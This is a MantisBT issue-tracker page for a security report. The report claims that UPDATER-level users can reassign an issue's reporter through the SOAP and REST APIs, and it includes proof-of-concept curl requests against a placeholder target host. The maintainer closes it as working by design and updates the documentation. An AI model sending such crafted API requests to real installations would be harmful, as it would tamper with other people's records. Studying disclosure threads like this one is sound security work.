View Issue Details

IDProjectCategoryView StatusLast Update
0037199mantisbtsecuritypublic2026-05-31 19:47
Reporterbyteoverride Assigned Todregad  
PriorityhighSeveritymajorReproducibilityalways
Status resolvedResolutionno change required 
Product Version2.29.0 
Summary0037199: Missing Authorization Check on Reporter Field in mc_issue_update Allows UPDATER-Level User to Forge Issue Ownership
Description

Any authenticated user with UPDATER access (level 40) or above can change the reporter field on any issue they can update via the SOAP or REST API. The issue creation endpoint (mc_issue_add) enforces webservice_specify_reporter_on_add_access_level_threshold (default DEVELOPER/55) before allowing a different reporter, but the issue update endpoint (mc_issue_update) accepts and writes the reporter field without any threshold check. This allows an attacker to reassign issue ownership to any user, corrupting audit trails and framing other users as the reporter of arbitrary issues.

Vulnerability Details

Type: Insecure Direct Object Reference / Broken Access Control (CWE-639)
CVSS 3.1: 7.1 High -- AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Affected File: api/soap/mc_issue_api.php

Issue creation (PROTECTED) at line 1409-1415:

if( $t_reporter_id != $t_user_id ) {
    $t_specify_reporter_access_level = config_get( 'webservice_specify_reporter_on_add_access_level_threshold' );
    if( !access_has_project_level( $t_specify_reporter_access_level, $t_project_id, $t_user_id ) ) {
        return mci_fault_access_denied( $t_user_id, "Active user does not have access level required to specify a different issue note reporter" );
    }
}

Issue update (UNPROTECTED) at line 1007 and 1053:

$t_reporter_id = isset( $p_issue['reporter'] ) ? mci_get_user_id( $p_issue['reporter'] )  : $t_user_id ;
// ... (no access_level check)
$t_bug_data->reporter_id = $t_reporter_id;

The REST API PATCH endpoint at api/rest/restcore/issues_rest.php:443 is also affected because array_merge($t_issue, $t_issue_patch) passes all fields to mc_issue_update without filtering.

Steps To Reproduce

Environment: MantisBT 2.29.0-dev, PHP 8.3, MariaDB 11.8

Accounts used:

  • administrator (user_id=1, access_level=90/ADMINISTRATOR), owns issue 0000001
  • updateruser (user_id=3, access_level=40/UPDATER)

Step 1: Verify issue ownership before attack

SELECT id, reporter_id, summary FROM mantis_bug_table WHERE id=1;
-- Result: id=1, reporter_id=1, summary='Admin Secret Issue'

Step 2: UPDATER changes reporter via SOAP API

curl -s -H "Content-Type: text/xml" http://TARGET/api/soap/mantisconnect.php -d '<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
  <soap:Body>
    <man:mc_issue_update>
      <man:username>updateruser</man:username>
      <man:password>password123</man:password>
      <man:issueId>1</man:issueId>
      <man:issue>
        <man:summary>Admin Secret Issue</man:summary>
        <man:description>This contains sensitive admin data</man:description>
        <man:project><man:id>1</man:id></man:project>
        <man:category>General</man:category>
        <man:reporter><man:id>3</man:id></man:reporter>
      </man:issue>
    </man:mc_issue_update>
  </soap:Body>
</soap:Envelope>'

Expected behavior: SOAP fault "Active user does not have access level required to specify a different reporter" (matching the check in mc_issue_add).

Actual behavior: Returns <return xsi:type="xsd:boolean">true</return>. Reporter changed.

Step 3: Verify ownership changed

SELECT id, reporter_id, summary FROM mantis_bug_table WHERE id=1;
-- Result: id=1, reporter_id=3, summary='Admin Secret Issue'

The reporter changed from administrator (id=1) to updateruser (id=3). The UPDATER user has access_level 40, which is below the webservice_specify_reporter_on_add_access_level_threshold of 55 (DEVELOPER). This change should have been blocked.

Alternative: Same attack via REST API

curl -X PATCH -H "Content-Type: application/json" -H "Authorization: API_TOKEN" \
  http://TARGET/api/rest/issues/1 \
  -d '{"summary":"Admin Secret Issue","description":"...","reporter":{"id":3}}'
Additional Information

Impact

An attacker with UPDATER access (level 40, a common non-admin role) can:

  1. Frame other users by changing the reporter of malicious or embarrassing issues to point at a victim
  2. Corrupt audit trails by reassigning issue ownership, making it unclear who originally reported what
  3. Claim credit for issues reported by other users
  4. Disrupt workflows that rely on reporter identity for notifications, permissions, or filtering

The issue creation path explicitly checks the threshold, proving the developers intended this restriction. The omission on the update path is a bug.

Recommended Fix

Add the same webservice_specify_reporter_on_add_access_level_threshold check to mc_issue_update(), before line 1053:

if( $t_reporter_id != $t_user_id ) {
    $t_specify_reporter_access_level = config_get( 'webservice_specify_reporter_on_add_access_level_threshold' );
    if( !access_has_project_level( $t_specify_reporter_access_level, $t_project_id, $t_user_id ) ) {
        return mci_fault_access_denied( $t_user_id, "Active user does not have access level required to specify a different reporter" );
    }
}

Affected Versions

MantisBT 2.29.0-dev (current develop branch). The reporter field has been accepted without authorization checks in mc_issue_update since the SOAP API was introduced, so stable 2.x releases are likely affected.

TagsNo tags attached.

Relationships

related to 0037075 confirmed SOAP Issue Update Implicitly Reassigns Reporter To The Caller When reporter Is Omitted 

Activities

dregad

dregad

2026-05-30 06:20

developer   ~0071191

Thanks for the report, I'll look into it.

dregad

dregad

2026-05-31 19:00

developer   ~0071206

@byteoverride,

This actually works as designed.

I believe you are misunderstanding the purpose of the webservice_specify_reporter_on_add_access_level_threshold config, which only controls whether the user is allowed set a different reporter than themselves when creating a new issue.

An UPDATER user is definitely allowed to change the reporter afterwards (you can confirm that from the UI). The difference is that this will leave a trace of the action in the Issue's history.

This is clearly documented in the config's PHPDoc. I realize that this is not reflected in the Admin Guide, so I'll update that.

I'll close this as no change required.

Related Changesets

MantisBT: master a7e38077

2026-05-31 19:37

dregad


Details Diff
Align Admin Guide with config_defaults_inc.php

The webservice_specify_reporter_on_add_access_level_threshold config
was missing the 2nd paragraph from the PHODoc block.

Reworded text and updated both locations.

Issue 0037199
Affected Issues
0037199
mod - config_defaults_inc.php Diff File
mod - docbook/Admin_Guide/en-US/config/api.xml Diff File